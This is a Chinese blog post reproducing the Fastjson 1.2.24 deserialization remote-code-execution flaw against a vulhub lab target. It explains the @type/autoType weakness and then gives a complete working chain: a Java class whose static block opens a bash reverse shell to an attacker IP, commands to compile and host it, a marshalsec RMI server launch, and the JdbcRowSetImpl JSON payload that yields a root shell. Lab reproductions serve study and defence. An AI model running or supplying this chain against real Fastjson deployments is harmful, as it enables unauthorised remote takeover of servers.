Fastjson 1.2.24反序列化漏洞

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本:fastjson < 1.2.25

Fastjson识别

报错识别

打开代理,使用burp suite抓包

修改请求为POST

将:Content-Type:修改为application/json

 fastjson 1.2.24及以下版本,报错信息不会出现alibaba.fastjson的字样

报错请求返回,会出现alibaba.fastjson,表示为:fastjson框架  

JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名 和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)

DNS (域名服务)

漏洞复现

攻击机:kali      

靶    机:vulhub

1.启动靶场

 2.访问靶场

3. 创建一个空文件,命名为TouchFile.java,写入以下代码

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/172.16.115.152/2022 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

4.编译.java文件,生成.class文件

javac TouchFile.java

5.在当下目录开启web服务,有条件的使用vps

6. 下载 marshalsec 搭建一个RMI服务器,进行远程加载payload

marshalsec 下载地址

下载完成后,进入 “marshalsec” 目录执行编译命令。

mvn clean package -DskipTests

编译时间比较长,应该和网速有关。

看到以下界面,表示编译成功

编译成功以后会在,target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar文件

7.开启RMI服务

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.115.152:8000/#TouchFile" 9999

#红色部分为:你的IP和刚才开启web服务的端口号

 8.nc开启监听

端口号为:TouchFile.java文件中的端口号

 9.使用burp拦截靶场请求,抓包后改GET包为POST包,输入以下payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.6.134:9999/TouchFile",
        "autoCommit":true
    }
 
}

右键修改为POST请求

 将Content-Type: application/x-www-form-urlencoded

修改为:Content-Type: application/json

点击send发送

 10.反弹shell

获得root权限

参考链接:

Fastjson 1.2.24反序列化漏洞复现_景天zy的博客-CSDN博客_vulhub-fastjson1,2,24

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值